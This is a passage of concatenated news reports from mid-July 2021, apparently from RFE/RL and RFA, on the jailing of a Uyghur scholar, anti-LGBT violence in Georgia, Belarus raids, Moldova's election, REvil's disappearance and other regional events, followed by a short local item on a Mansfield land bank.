The officer contacted by RFA said he had received a special notice about Rahiles supposed crime, stating that the scholar had caused social provocations, between farmers and the government. The officer said he didnt remember the length of Rahiles prison sentence.

When asked where Rahile was serving her sentence, he said, They told us not to talk about this with other people and that we should be careful with what we heard.

Mehriay Mamteli, an independent researcher living in the U.S. and one of Rahiles former colleagues, said that authorities might have used the professors research into Uyghur shrines as evidence for the charges.

Although Rahile received national grants and worked under the guidance of the well-known ethnic Han researcher Zhong Jinwen at Beijing Normal University in the Chinese capital, she still encountered obstacles when researching shrines in the XUARs Tarim Basin because of long-standing restrictions and crackdowns on religious and cultural customs throughout the Uyghur region, said Mehriay.

In the process of research, she encountered a lot of restrictions from the local governments and offices responsible for managing religious matters wherever she went for her fieldwork, she said, adding that Rahile proceeded with her on-site research only after receiving official permission.

When Rahile explained the importance of her research to officials at the local and autonomous region levels, she told them that restrictions on certain sites and customs were misguided, Mehriay said.

For the Chinese government to put this woman in prison and punish her for things [the government] approved itself, a researcher it trained itself, and to call her perhaps a reactionary revolutionary or whatever excuse they have decided on, is a violation of Chinas own laws, Mehriay said.

Another source claiming familiarity with the situation, who requested anonymity out of fear of reprisal, said that many people were moved and encouraged by Rahiles willingness to use research as a way of raising issues that farmers themselves dared not discuss with the relevant authorities.

But even though her concerns impressed some local officials, they raised suspicions in others, which Mehriay believes formed the basis of the accusations against Rahile.

An attack on Chinas plan

Though Rahiles research into Uyghur shrines was not directly related to politics, its close relationship to the spiritual heritage and ethnic identity of the Uyghurs could be perceived as an attack on Chinas plan to eliminate Uyghur ethnic identity, said Alimcan Inayet, a Uyghur professor at Ege University in Turkey.

As is known, our ethnic historical works and cultural heritage are very important in strengthening our ethnic consciousness and identity, he told RFA. The Chinese state is perhaps uneasy over this, or even afraid.

The Chinese state, which has made the assimilation of the Uyghurs its goal, has long been attempting to weaken Uyghur ethnic consciousness and Uyghur ethnic identity, he said. Things like banning books about our ethnic history, demolishing ancient structures, and destroying statues of important historical Uyghur figures, among others, demonstrate this very clearly.

Another source familiar with the situation said that by targeting the professor, Chinese authorities tried to create a climate of isolation, intimidation, and eventual alienation from Uyghur cultural heritage among Uyghurs themselves.

Lisa Ross, an American photographer and visual artist currently based in the U.S., met Rahile at a Uyghur studies conference in London in 2004. They then collaborated on a photographic survey of Uyghur shrines and became close friends.

Ross told RFA that she was saddened to hear the confirmation of Rahiles conviction, and that she now has a clearer idea of what must be done to secure her release.

Because of her work, many people will continue to know and remember what and who the Uyghur people always have been for hundreds of years, and what their collective memory is, and so our job is to fight for her release, Ross said.

Rachel Harris, an ethnomusicologist at SOAS at the University of London whose research focuses on Uyghur music, has known Rahile for more than 20 years. She told RFA she was impressed not only by Rahiles academic credentials but also by her sincerity, humanity, and virtue.

My hope is always that national governments will come together as a group and make a strong statement about whats going on, Harris said. I have put pressure on my own university to raise a case.

Reported by Shohret Hoshur and Gulchehra Hoja for RFAs Uyghur Service. Translated by the Uyghur Service. Written in English by Roseanne Gerin.
TBILISI -- Georgian Prime Minister Irakli Gharibashvili's actions surrounding an abortive LGBT pride march and mob attacks on journalists covering it have sparked a week of public protests and calls for his resignation.

The pall of violence further shrouded Tbilisi this week as mourners honored 36-year-old Lekso Lashkarava, who died days after suffering head injuries when he was swarmed by an anti-LGBT crowd after organizers canceled the July 5 event due to the threat of violence by right-wing groups.

The mayhem is another disturbing chapter in a long-running dispute between Georgian activists seeking public acknowledgement of the plight of sexual and other minorities in the face of stubborn resistance from religious and other ultraconservative elements.

But the debate has taken on added urgency with warnings of a dangerous "dictatorship of the majority" with longer-term implications for this Caucasus country of some 11 million.

Georgian critics and outsiders have questioned the authorities' failure to safeguard a planned peaceful display of lesbian, gay, bisexual and transgender (LGBT) pride and Gharibashvili's suggestion that it was the government's job to "obey" overwhelming public opposition at the expense of minority rights.

Some of those critics, like the United States, argue that "the credibility of democracy in Georgia" is at stake.

It's shaping up as a test of the political leadership in the home of one of the first pro-democracy revolutions in the former Soviet Union, which achieved major economic and institutional reforms before a lightning war with neighboring Russia and vicious political feuding dealt serious blows to Tbilisi's pursuit of greater integration with the West.

It also saps the beginnings of momentum after an EU-brokered deal got Georgia's parliament back to work following a seven-month boycott by the opposition.

"Georgia has not stood at such a dangerous crossroads for the past 30 years," said Giorgi Mshvenieradze, a lawyer and academic co-director of the National Institute of Human Rights, part of the Free University of Tbilisi.

Constitutional Crisis?

After news emerged that Pirveli TV cameraman Lekso Lashkarava had been found dead at his home in Tbilisi on July 11, Gharibashvili condemned the violence but doubled down on his insistence that the gay-pride event should not have been planned.

Before a parliament session on July 12 interrupted by angry journalists and opposition lawmakers, Gharibashvili repeated his message of a week earlier, when he said he regarded it as unwise to conduct a pride march in the Georgian capital. But this time he went even further.

"When 95 percent of our population is against holding a propagandistic parade in a demonstrative manner, friends, we will all obey that," Gharibashvili said.

"This is the opinion of the vast majority of our population and we, as the government elected by the people, will obey it," he said, adding, "It will not be the case that the minority always decides the fate of the majority."

Georgia's ombudswoman, Nino Lomjaria, responded before a meeting with President Salome Zurabishvili on July 12 by saying that Gharibashvili appeared to have "declared a dictatorship of the majority."

But she added, "In a democratic society, the rights of all people are protected; the majority doesn't decide whether the rights of the minority will be protected or not."

She also warned against signs that, following Lashkarava's death, "the state authorities are not trying to investigate the crime objectively -- to punish the organizers and perpetrators [of the violence] -- but to discredit the beaten, dead journalist."

Independent lawyers expressed similar consternation at the prime minister's defense of inaction in the face of the threats against minorities.

"Today, unfortunately, the prime minister announced that he rejects the constitutional order that exists in Georgia and intends to introduce a new type of government, where people no longer enjoy the fundamental rights and freedoms guaranteed by the constitution," Mshvenieradze told RFE/RL's Georgian Service. "The prime minister told us that the minority in this country must be bound by the will of the government and violent groups."

Nika Simonishvili, head of the Georgian Young Lawyers Association, called Gharibashvili's statements "dangerous" and indicative of "signs of dictatorship."

Since the violence, Gharibashvili has been accused by dozens of people of deleting or blocking critical comments on his Facebook page in an affront to free speech.

"This creates the illusion that there is no criticism of him," Ana Abashidze, a lawyer with the NGO Partnership for Human Rights, told RFE/RL.

She thinks the removal by a public official of such comments could be regarded as an undue restriction on Georgians' constitutional right to freedom of expression.

"Even obscene comments are protected by [the right to] freedom of expression if they have a political content," Abashidze said. "So, at this time, all the criticism directed at the prime minister is absolutely political and, therefore, protected by freedom of expression [guarantees]."

In recent years, several people have brought legal cases arguing that the state was trampling their rights by blocking their access to visit or comment on the Facebook pages of Georgian Dream members in senior public posts. But none of those cases resulted in verdicts or any sort of precedent -- in two cases because the blocks were removed shortly before the trial.

Here An Opposition, There An Opposition, Everywhere...

Thousands of people marched in Tbilisi on July 6 to denounce the threats against the LGBT community and the violence against journalists. But this time police kept counterprotesters at bay until the gathering dispersed. More peaceful demonstrations have followed.

Journalists and opposition lawmakers interrupted a parliament session on July 12 to protest Lashkarava's death.

Four independent TV channels, including Pirveli, devoted a full 24 hours of broadcasting on July 14 to black screens with the names of the journalists injured the week before and demands for justice.

But Gharibashvili has largely responded by painting LGBT organizers and government critics as tools of the United National Movement (ENM) or other elements of the opposition. He alleged that Pirveli and two other TV stations were "directly run" by former ENM founder and ex-President Mikheil Saakashvili along with "stolen finances." Their agendas therefore reflect those of the "revanchist radical force," he said, in a reference to the ENM and its former leader.

Gharibashvili also said Shame -- one of the groups organizing the abandoned LGBT march -- is "fully run by Saakashvili's organizations."

He has also suggested that opposition "provocateurs" might have been behind the violence. The prime minister said investigators were "working on several versions" of events on July 5, including one in which "the revanchist radical force is also behind these provocateurs."

The far-right Georgian group Alt-Info, which was granted a national broadcast license despite being banned by social-media giant Facebook for homophobic and xenophobic content, has echoed those and other accusations of an opposition conspiracy behind the violence and subsequent protests.

Zura Makharadze, one of Alt-Info's founders, described it as "an emotional wave" that was aimed at replicating the unrest of June 2019, when protesters tried to storm parliament after a visiting Russian legislator was shown addressing fellow Orthodox lawmakers in Russian from the parliament speaker's chair. Hundreds of people were hurt in that unrest, including two people who each lost an eye when police opened fire with tear gas and rubber bullets.

"This will be an attempt to gather a critical mass in front of parliament and do what they've been doing for so long...making revolution using the sacral sacrifice card," Makharadze said.

Who's Counting, Anyway?

Right-wing nationalist groups have in the past stubbornly challenged LGBT events and any robust defense of LGBT rights, despite antidiscrimination legislation and hate laws that are some of the region's strongest.

The Tbilisi Pride group that helped organize the event blamed the government, the Orthodox Patriarchate, and "radical hate groups" for the "organized violence" that took place on July 5 "on the basis of homophobia."

Prominent clergy within the Georgian Orthodox Church had spoken out against the event and priests were among the crowds of anti-LGBT counterdemonstrators, as they have been at past events opposing calls for tolerance toward sexual minorities.

A spokesman for the Georgian Orthodox Church issued a statement saying "the Patriarchate is not responsible for what happened" and pledging that individual clerics would be held accountable for any wrongdoing.

Georgian Young Lawyers Association head Simonishvili challenged what he described as Gharibashvili's "manipulation of the numbers" in suggesting that 95 percent of Georgians disapproved of the LGBT event.

"Whose count is that? This figure has no connection to reality," Simonishvili said, adding that "the prime minister showed us that he evaluates the issue quantitatively and not qualitatively...[and] that what is important to him is how many people will reject this or that issue and not how this issue is regulated by the constitution."

Organizer Tbilisi Pride in a statement countered that "the two opposing sides that Gharibashvili spoke about do not exist." It added, "When the state equates peaceful civil protest with radical hate groups that threaten people's safety, health, and lives, it is a sign of dysfunction."

Halting Any Momentum In Parliament

A longtime associate of billionaire Georgian Dream founder Bidzina Ivanishvili, Gharibashvili returned as prime minister in February to staunch an intraparty crisis over the rule of law.

He replaced fellow Georgian Dream member Giorgi Gakharia, who resigned after the arrest under politically fraught circumstances of ENM leader Nika Melia in a case that "deeply troubled" Tbilisi's allies, including the United States.

At the time, the country was already mired in a "political stalemate" after partly boycotted elections won by Georgian Dream that required EU mediation on a deal to get parliament functioning again.

Announcing the cohabitation deal in a joint statement with President Zurabishvili in April, European Council President Charles Michel called it a "starting point" for the Georgian political establishment's "work towards consolidating Georgia's democracy and taking Georgia forward on its Euro-Atlantic future." The statement cited the need "to avoid any form of destabilization."

Now, a mere three months later, the political landscape appears nearly as fraught as a result of lingering tensions and anger over the anti-LGBT violence.

Western governments have expressed shock at the perceived lack of protection for minority groups and journalists.

Leading opposition parties in Georgia have demanded Gharibashvili's resignation and indicated on July 12 that their intentions are to eventually bring a no-confidence vote in his government. But the math in parliament -- where Georgian Dream holds 84 of 150 seats -- makes such a proposition difficult without massive defections.

Kornely Kakachia, director of the Georgian Institute of Politics, this week urged the relevant officials to take responsibility for their mistakes.

"In such a crisis, in a normal country, the prime minister, the interior minister, and the city police chief would resign under all scenarios," he told RFE/RL.

He said his conversations with contacts abroad suggested that the international "tone toward Georgia has changed significantly" as a result of this month's violence.

Kakachia warned that "if the situation continues like this, all this may lead to a very serious civil confrontation...[and] take us back to the '90s."

Written by Andy Heil in Prague based on reporting by Lela Kunchulia in Tbilisi
Authorities say a shoot-out along the border has left one Armenian soldier dead and "losses" on the Azerbaijani side as tensions continue to simmer between the two countries after last year's war over the breakaway Nagorno-Karabakh region.

The Armenian Defense Ministry said the skirmish took place in the mid-morning of July 14, claiming Azerbaijani forces "provoked" the Armenians when they tried to advance their positions inside Armenian territory at the Yeraskh section of the border between Armenia and Azerbaijan's Naxcivan exclave, which is sandwiched between Armenia and Iran.

Azerbaijans Defense Ministry claimed that Armenian armed forces opened fire from weapons of various calibers at Azerbaijani positions in the Sadarak district of the Naxcivan region.

The "Azerbaijani side also suffered losses," with at least one soldier wounded," the ministry said.

The Azerbaijani Defense Ministry said the situation in the area is now stable and under the control of its military forces.

Long-running tensions between the two South Caucasus nations escalated with last year's war over Nagorno-Karabakh, which is internationally recognized as part of Azerbaijan but had been controlled by ethnic Armenians since the early 1990s.

Some 6,000 people were killed in six weeks of fighting that ended in a Moscow-brokered cease-fire deal.

Under the cease-fire, a chunk of Nagorno-Karabakh and all seven districts around it were placed under Azerbaijani administration after almost 30 years of control by ethnic Armenian forces.

The agreement also resulted in the deployment of around 2,000 Russian peacekeepers, and provided for an exchange of POWs and other detained people.

Several prisoner exchanges have since taken place.

With reporting by RFE/RL's Armenian and Azerbaijani Services
MINSK -- Belarusian police have carried out sweeping raids on human rights groups and the media, including the Vyasna human rights center and the Belarusian Helsinki Committee, as authoritarian ruler Alyaksandr Lukashenka further ramps up his crackdown on dissent.

At least a dozen people were detained in the July 14 raids targeting at least 19 nongovernmental organizations in Minsk and other cities.

Activists said the offices searched on July 14 also included those of the Lawtrend rights group, the Association of the World's Belarusians Batslaushchyna (Fatherland), the Names project, the Territory of Rights group, the Gender Perspectives human rights organization, the Belarusian Association of Journalists, the Union of Belarusian Writers, the Belarusian Popular Front, the For Freedom movement, and the BEROC Center of Economic Investigations.

Belarusian authorities have moved to shut down critical and non-state media outlets and human rights bodies in the wake of mass protests last August after a presidential election the opposition said was rigged.

The opposition and Western governments say Svyatlana Tsikhanouskaya, who was driven into exile, won the vote.

U.S. Ambassador Julie Fisher, who has been unable to take up her post in Minsk because the Belarusian government has denied her a visa, said the raids showed Lukashenka was targeting Belarusians "who put country above self, unlike those who wield power."

Vyasna is the largest rights body in the former Soviet country and one of the main sources of information on political detentions and arrests.

Crisis In Belarus Read our coverage as Belarusians continue to demand the resignation of Alyaksandr Lukashenka amid a brutal crackdown on protesters. The West refuses to recognize him as the country's legitimate leader after an August 9 election considered fraudulent.

Vyasna lawyer Uladzimer Labkovich said on Facebook that police also searched his home, while Natallya Pinchuk, the wife of Vyasna Chairman Ales Byalyatski told RFE/RL that her husband had inexplicably stopped answering phone calls.

The wife of the deputy chairman of Vyasna, Valyantsin Stefanovich, said her husband was detained after their home was searched and Vyasna said that its activist, Syarhey Sys, was also detained.

Another Vyasna activist, Alena Laptsyonak, said police searched her apartment and took her to the Investigative Committee in connection with a probe launched into the "organization of, and participation in group activities that violate civil order."

Several other senior officials at the other groups said their homes were searched and that raids and arrests of activists are taking place in several cities across Belarus.

Earlier in March, police informed Vyasna that a criminal case was launched against the group for activities that disrupted civil order. Several Vyasna activists were arrested at the time.

"By attacking human rights defenders, the regime wants to take revenge for all the rights violations that were recorded," Franak Viacorka, an adviser to Tsikhanouskaya, wrote on Twitter.

Belarus has been mired in turmoil since the disputed presidential election that gave Lukashenka his sixth consecutive term in power.

He has since put down street protests and dissent over the vote with sometimes lethal force, jailing thousands of people and forcing most opposition leaders who haven't been imprisoned to leave the country.

The West, which has refused to recognize the official results of the vote and does not consider Lukashenka to be the country's legitimate leader, has imposed several rounds of sanctions against the 66-year-old, some of his family members, other senior officials, and on key economic sectors.

Recently, the EU imposed further far-reaching penalties aimed at weakening the regime after the forced landing of a European passenger plane in Minsk and the arrest of an opposition blogger who was on board.

In April, Belarusian Foreign Minister Uladzimer Makey publicly warned that further Western sanctions against Lukashenka's government would be met by a crackdown on the country's civil society.

"Any further toughening of the sanctions will lead to the situation where civil society [in Belarus] of which they [in the West] care, will stop functioning. And that will be, I believe, absolutely grounded in the current situation," Makey said at the time.
Bosnia's intelligence chief has been arrested amid an investigation that includes money laundering and forgery.



Osman Mehmedagic, the head of the Intelligence Security Agency (OSA), was detained on July 14 at the request of state prosecutors under suspicion of abuse of his position, falsifying personal identification documents, and money laundering, Sarajevo police spokesman Mirza Hadziabdic said.

The prosecutor's office said more information would be made available later on July 14.

Authorities earlier this month searched OSA's premises and confiscated Mehmedagic's personal files.

Last month, police arrested Denis Prcic, the head of the private American University in Sarajevo and Tuzla, for reportedly illegally issuing a diploma to Mehmedagic.

In 2019, Mehmedagic's diploma issued by a Banja Luka University in 2007 was annulled. He then handed over two other diplomas -- one issued by the American University in 2013 and one from the Sarajevo law school.

Mehmedagic had made no prior mention of his diploma from the American University in his resume, which prompted the prosecutor's office to open an investigation.

Last year, Mehmedagic was also charged with abuse of power for allegedly using agency resources to spy on a man who filed a criminal complaint against him.

Investigations often take years in corruption-plagued and ethnically divided Bosnia, which is still struggling to recover from a devastating war in 1992-95.

With reporting by Reuters and AP
TBILISI -- Four private television stations in Georgia have suspended broadcasting for 24 hours and are demanding the resignation of Prime Minister Irakli Gharibashvili over recent attacks against LGBT activists and journalists.

Mtavari, TV Pirveli, Formula, and Kavkasia television channels suspended operations on July 14, saying they were also demanding that all responsible for the attacks last week be punished.

"Gharibashvili must resign. All those who attacked journalists on July 5 must be prosecuted," they said in identical statements on their Facebook pages.

The move comes a day after regional television channels suspended their broadcasting for 10 minutes during the funeral of Pirveli television cameraman Lekso Lashkarava, who died several days after he was severely beaten on July 5 by an anti-LGBT mob that had taken to the streets of the capital to block a planned LGBT parade. Georgia's Interior Ministry said it is investigating Lashkarava's death but has not yet determined a cause.

A total of 55 people -- 53 of them journalists -- were injured during the attack.

Lashkarava's death has highlighted the sometimes violent animosity toward sexual minorities in the strongly conservative Caucasus nation, and sparked mass protests attended by thousands of people calling for the resignation of Gharibashvili and his government.

Georgia's Interior Ministry said it was investigating Lashkarava's death but had not determined a cause.

Many have squarely blamed Gharibashvili, who the morning of the scheduled parade said it was inappropriate to hold the event because it would create a confrontation and was "unacceptable to a large segment of Georgian society."

The Georgian Orthodox Church had also called on its supporters to gather against the Pride march.

Diplomatic missions from 18 countries and the European Union have condemned the violence and called on the Georgian government to protect people's constitutional right to peacefully gather.

With reporting by Reuters
CHISINAU -- "The legislative elections in Moldova were well-organized," said Russian lawmaker Yaroslav Nilov, who headed the election-monitoring mission of the Commonwealth of Independent State (CIS) during Moldova's July 11 vote. "From the point of view of voting procedures, the observers had no doubt about the legitimacy of the results."

It was one of the vanishingly rare occasions when the assessments of Russian and Western election monitors about a vote in the former Soviet Union were in nearly complete accord.

The elections marked a historic victory for the pro-European Party of Action and Solidarity (PAS), for the first time in Moldova's post-Soviet history giving a single center-right party a solid majority in the 101-seat legislature.



That win, coupled with PAS founder Maia Sandu's resounding victory over Socialist incumbent Igor Dodon in the presidential election last November, has given the impoverished country "the most pro-EU government in Moldova's history," which could "open the door for reform," according to U.S. think tank Stratfor.



The flip side of this result: Significant defeats for the country's pro-Moscow political forces, particularly Dodon -- who has expressed admiration for Russian President Vladimir Putin and met with him several times -- and the Socialists.

Far from signaling a decline in Moscow's interest in Moldova, however, analysts say that, when it comes to Russia's role and interests, the elections were evidence of the Kremlin's dissatisfaction with Dodon and its desire to influence Moldova without assuming responsibility for the economy of Europe's poorest country.

'Blocking Stake'



Vladimir Socor, an analyst with the Jamestown Foundation think tank in Washington, says a big hint regarding Moscow's thinking can be found by looking at the voting in the pro-Russian breakaway region of Transdniester.



"The very low turnout of voters on the left bank of the Dniester River is part of Russia's general policy toward these elections," Socor told RFE/RL's Moldovan Service. "Namely, Russia did not want the Socialist Party to win these elections. Russia did not want the Socialist Party to win the 2020 presidential election either."

"Russia did not make the slightest effort, and it is not the first time," Socor added. "Russia did not make an effort either in the 2016 presidential election or in the 2020 presidential election. Russia did not mobilize voters in Transdniester, nor did it mobilize Russian politicians to support the Socialist Party."



Socor adds that Russia's strategy in Moldova has evolved into seeking "a blocking stake" in the country's politics, rather than trying to corner a controlling interest by "ensuring the victory of pro-Russian forces."



There are indications that Dodon has become a spent political force in Moldova, says analyst Igor Botan, director of the Chisinau-based Association for Participatory Democracy think tank. He argues that Dodon's shift away from traditional socialism toward a Putin-like brand of amorphous, pragmatic conservatism has alienated much of his party's traditional electorate.

"The Socialist Party, once it embraced the ideology of conservatism, was no longer a left-wing party," Botan said. "As for the Communist Party, which claims to be a Marxist party, big questions remain. We remember that, when they were in power, the Communist Party launched the idea of the liberal revolution in Moldova. There are big problems here in terms of consolidating what we conventionally call 'the left.'"



He adds that, in 2002, Communist President Vladimir Voronin signed a decree that initiated Moldova's European integration process and culminated with Moldova's EU Association Agreement in 2014. During the election campaign, Voronin surprisingly pushed the idea of a constitutional amendment enshrining Moldova's European integration strategy.

"This shows that the segment identified as 'the left,' in fact, has no ideological or geopolitical pivot that could make us confident of this political force as the opposition in parliament," Botan said.



The nascent Civic Congress movement, founded in 2019, attempted unsuccessfully to pick up the mantle of the left and failed to win any seats in the new parliament.



Vadim Pristrinciuc, a former lawmaker and director of the Chisinau-based Institute for Strategic Studies, adds that Dodon undermined his own support in the ethnic Turkish region of Gagauzia, which is traditionally staunchly pro-Russian and fearful that pro-European politicians are plotting to unite Moldova with Romania.

"Dodon and the Socialist Party made very specific promises to Gagauzia and didn't follow through," Pristrinciuc said, citing issues related to autonomy and economic development. "In Gagauzia it is better not to promise anything than to promise and not deliver."



"We must admit that it is a collapse for Igor Dodon as a political leader," analyst Botan summarized.

'Inveterate Loser'



From Moscow's point of view, Socor says, after setbacks in the 2019 legislative elections and the loss of the 2020 presidential ballot, "Dodon is an inveterate loser."



At the same time, the once stark divide between Moldova's pro-Russian and pro-European electorates has become much vaguer as the generation that lived under the Soviet Union has become less influential.



"The profile of the electorate has changed," Pristrinciuc said, "and based on that I don't think they are still willing to bet on purely pro-Russian parties. They will flirt with pro-European ideas."



And the pro-European PAS must contend with the fact that much of its electorate expects the government -- while combating corruption and implementing systemic reforms -- to maintain good relations with Moscow.



While searching for a new, more viable political force to back in Moldova and maintaining its powerful grip over breakaway Transdniester, Moscow will likely "demonstrate a maximum openness for constructive relations with the new government and President Maia Sandu -- at least at the beginning," Socor said.



And that initial impulse toward "maximum openness" appears to be mutual, according to a statement by PAS leaders.



"We said from the beginning that we did not enter politics to be against anyone," PAS legislator Virgiliu Paslariuc told RFE/RL on July 14. "We want to work together with everyone." He added that relations with Russia will be based on "pragmatism."



Socor argues that Moscow does not want to take primary responsibility for Moldova's "economic maintenance" and is unwilling to further exacerbate relations with the West over the tiny country during Russia's own legislative election year and in view of the "complicated" situation in Ukraine.



"Moldova is not of strategic interest to Russia," he said. "Russia has a gradual agenda, and Moldova is not a priority at this time. Russia wants to keep Moldova in a gray area with a so-called multi-vector or balanced foreign policy."

Written by Robert Coalson based on reporting from Chisinau by Valentina Ursu and Vasile Botnaru of RFE/RL's Moldovan Service. RFE/RL's Russian Service also contributed to this report.
Authorities in Kyrgyzstan have warned of more mudslides in the border area shared with Uzbekistan after rescue workers found the body of a child missing following a mudslide earlier this week.

Officials in Kyrgyzstan's Jalal-Abad region said on July 14 that the body of a 2-year-old girl who went missing during the mudslides a day earlier in the Aksy district was found by rescue brigades, bringing the death toll in that incident to seven.

Kyrgyz rescue teams continue to look for another missing person, a 5-year-old child, authorities from the Jalal-Abad region that borders with Uzbekistan's Namangan region said.

A state of emergency has been announced in Kyrgyzstan's Ak-Jol and Jany-Jol villages.

Kyrgyz President Sadyr Japarov has ordered the government to undertake all necessary measures to provide residents of the affected area with food, drinking water, and other necessities.

On July 13, the Uzbek Emergency Situations Ministry said the mudslides in the country's eastern region of Namangan killed eight people.

According to the ministry, six residents of the Kosonsoi district were injured by the massive mudslides.

The ministry also said its rescue teams are working in the region affected by the mudslides.
Kyrgyz-Turkish educator Orhan Inandi, who is currently in Turkish custody, says he was abducted in Bishkek in late May by three Kyrgyz men, who may be part of the country's security services, before he was transferred to Turkey, where he is accused of involvement in terrorist activities.

In his first public comments on what happened surrounding Inandi's disappearance on May 31, lawyer Halil Ibrahim Yilmaz told RFE/RL on July 13 that his client told him that three men speaking fluent Kyrgyz, possibly officers of the Kyrgyz police, security services, or another Kyrgyz state entity, kidnapped him.

Kyrgyz officials have previously denied claims they colluded with Turkish intelligence to abduct Inandi. However, some Kyrgyz lawmakers have accused the Central Asian nation's security officials and the government of their complicity or incompetence in the case of Inandi.

According to Yilmaz, the abductors blindfolded Inandi and transported him by car for several hours before he was placed on a plane and brought to Turkey.

It was not clear whether Inandi was taken to Turkey via a third country.

The disappearance of Inandi, the head of the Sapat educational network in Kyrgyzstan, sparked numerous demonstrations in Bishkek, with protesters demanding the government find the educator.

Turkish President Recep Tayyip Erdogan on July 5 said agents from Turkish intelligence abducted Inandi and brought him to Turkey, describing Inandi as a top Central Asian leader of the movement led by U.S.-based Turkish cleric Fethullah Gulen, a friend-turned-foe of Erdogan whom Ankara blames for a deadly 2016 coup attempt.

Turkey has cracked down hard on alleged members of the Gulen movement, which it considers a terrorist organization, arresting tens of thousands of people and purging the civil service and military. It has also pursued the Gulen movement abroad. Erdogan admitted more than 100 people with alleged links to the Gulen movement had been brought to Turkey from other countries.

Yilmaz told RFE/RL that his client has rejected accusations of being a member of a terrorist group.

Human Rights Watch said in a statement last week that Turkish and Kyrgyz authorities abducted, forcibly disappeared, and extrajudicially transferred" Inandi to Turkey.

Erbol Sultanbaev, a spokesman for Kyrgyz President Sadyr Japarov, denied the authorities were involved in the abduction, calling the charges completely absurd." In a statement, the presidents office said they had issued a formal complaint to the Turkish ambassador about the issue. It added that there had been three prior attempts to kidnap the educator and all had been thwarted.

Inandi, 53, has lived in Kyrgyzstan since 1995 and holds dual Turkish-Kyrgyz citizenship.
A Russian-based hacker group blamed for a massive ransomware attack earlier this month has gone offline, sparking speculation about whether the move was the result of a government-led action.



The webpages of the group known as REvil disappeared from the dark web on July 13, cybersecurity researchers said. Both its data-leak site and ransom-negotiating portals were unreachable.



The researchers said that it was unclear whether the outage was the result of actions taken by law enforcement or whether REvil had voluntarily taken down its sites.



"The situation is still unfolding, but evidence suggests REvil has suffered a planned, concurrent takedown of their infrastructure, either by the operators themselves or via industry or law enforcement action," John Hultquist of Mandiant Threat Intelligence said in a statement quoted by AFP.



The White House and U.S. Cyber Command declined to comment, according to the Associated Press.



REvil was responsible for a ransomware attack launched July 2 targeting the U.S. software company Kaseya that crippled more than 1,000 businesses globally. The group claimed credit for the attack and demanded $70 million worth of bitcoin as ransom to decrypt software and allow the businesses targeted to access their data.

Cybersecurity experts have said the group was also behind an attack in late May against the meat processor JBS. The Brazilian-based company ended up paying $11 million in bitcoin to the hackers.



U.S. President Joe Biden repeated a warning to Russian President Vladimir Putin during a call July 9 that he would take action against Russian-based groups. Biden also told Putin that the United States would take "any necessary action" to defend Americans and critical infrastructure threatened by cyberattacks.



Biden had previously warned Putin about ransomware attacks during the two leaders summit in June.



Alex Holden, founder and chief information security officer of Hold Security, said the company had seen no indication that the REvil websites were voluntarily shut down or any indication of steps from law enforcement.



"There is always a glimmer of hope that Russia is finally doing something right, he added.

With reporting by AP, AFP, and Reuters
An activist has been jailed for walking around Moscow's Red Square wearing a T-shirt demanding Russian opposition leader Aleksei Navalny's release from prison.



A Moscow court on July 14 sentenced Vladislav Kazakov to 10 days in jail for violating laws on holding a public event.

Kazakov was detained in Red Square the day before while wearing a T-shirt with the inscription "Freedom for Navalny."

Unidentified persons also set fire to his car, which had "Freedom for Navalny" written on the rear window.

Kazakov was formerly a volunteer at Navalny's now-shuttered political offices in the southwestern city of Saratov.

Navalny, Putin's most prominent domestic critic, was arrested in January upon returning from Germany, where he spent five months recovering from a nerve-agent poisoning that he blames on the Kremlin -- an accusation that Russian officials reject.

He was then sentenced in February to 2 1/2 years in prison in a case widely considered to be politically motivated.

In April, tens of thousands of people demonstrated for his release, following similar mass protests in January against his arrest.
A Russian court has sentenced 27 suspects to prison terms ranging from two to 10 years for their roles in a deadly 2019 ethnic brawl.

The Penza regional court on July 14 also acquitted one defendant in the case of a mass brawl in the village of Chemodanovka, after which dozens of Romany families left the village.

Twenty-five of those sentenced were released from custody, as they had already served out their sentences while in pretrial detention.

The two men who received the lengthiest prison terms, Nikolai Yurchenko and Pavel Yanenko -- 10 years and seven years in prison respectively -- were found guilty of inflicting bodily harm that led to a person's death.

It remains unclear what exactly sparked the brawl in mid-June 2019, which left Vladimir Grushin dead and four others wounded.

Some media reports quoted law enforcement sources as saying that a conflict between children touched off the melee, which ended with police arresting about 170 people.

Chemodanovka council leader Sergei Fadeyev said that after the brawl, all Romany families in the village and the nearby settlement of Lopatki had "voluntarily" left their homes for an unknown destination.

The regional government said the same day that some 130 Roma left their homes. No official reason was given for why they left, while Fadeyev insisted that they left of their own will and were not forced out.

Roma, members of an ethnic group that lives on the margins of society, are frequently the victims of discrimination, prejudice, and hate in many parts of Europe, particularly in the east, including Russia and other former Soviet republics.

Based on reporting by Meduza, TASS, and Interfax
Ukraine's Supreme Court has overturned President Volodymyr Zelenskiy's decree annulling the appointment of Oleksandr Tupytskiy to the Constitutional Court.

Tupytskiy's lawyer, Oleksandr Leshchenko, informed Ukrayinska pravda of the Supreme Court's decision on July 14. An adviser at Zelenskiy's office said the president would appeal the decision.

Zelenskiy dismissed Tupytskiy and another judge, Oleksandr Kasminin, in late March for what he called threatening "Ukraine's independence and national security."

Both judges were appointed by pro-Russian former President Viktor Yanukovych, who was ousted in 2014 following the Euromaidan protests.

Zelenskiy's move to oust the two judges came after the Constitutional Court in October 2020 struck down anti-corruption legislation and curbed the powers of the National Anti-Corruption Agency (NAZK).

The court decision dealt a blow to reforms demanded by the West and threatened to impact lending from the International Monetary Fund.

In response to the court ruling, Zelenskiy vowed to reverse the decision and continue with his anti-graft reform agenda.

In the decree, Zelenskiy invoked a parliamentary decision calling Yanukovych's rule from 2010 to 2014 an "usurpation of power."

In December, Zelenskiy issued a decree suspending Tupytskiy, who was facing a preliminary investigation over suspected witness tampering and bribery.

The Constitutional Court then ruled that the president had exceeded his powers, in what Tupytskiy called an attempted "constitutional coup" against the judges.

According to Ukraine's constitution, Constitutional Court judges can only be dismissed by a vote of two-thirds of its 18 members.

With reporting by Ukrayinska pravda and Zerkalo nedeli
MANSFIELD  The Richland County Land Bank board voted to transfer Betzstone Park to Chauncey Holt on Wednesday, paving the way for the new developer to construct his first rental housing in Mansfield.

The parcel, located at 99 Betzstone Drive, is about 0.37 acres, according to the land bank. It was one of the 10 under-utilized parks that the City of Mansfield donated to the organization in October.

The land bank approved to transfer Betzstone Park to Holt for $1,000, plus the recording fee, at a meeting on Wednesday afternoon.

Holt said he recently moved to Mansfield from Nevada with his wife, Mallory, and their three young daughters. He said the family came here for a visit and was excited about what they saw in the community, including the land banks effort in revitalization.

The couple plan to build a three-bedroom-duplex on the parcel, Holt said, and start the construction in the first quarter of next year.

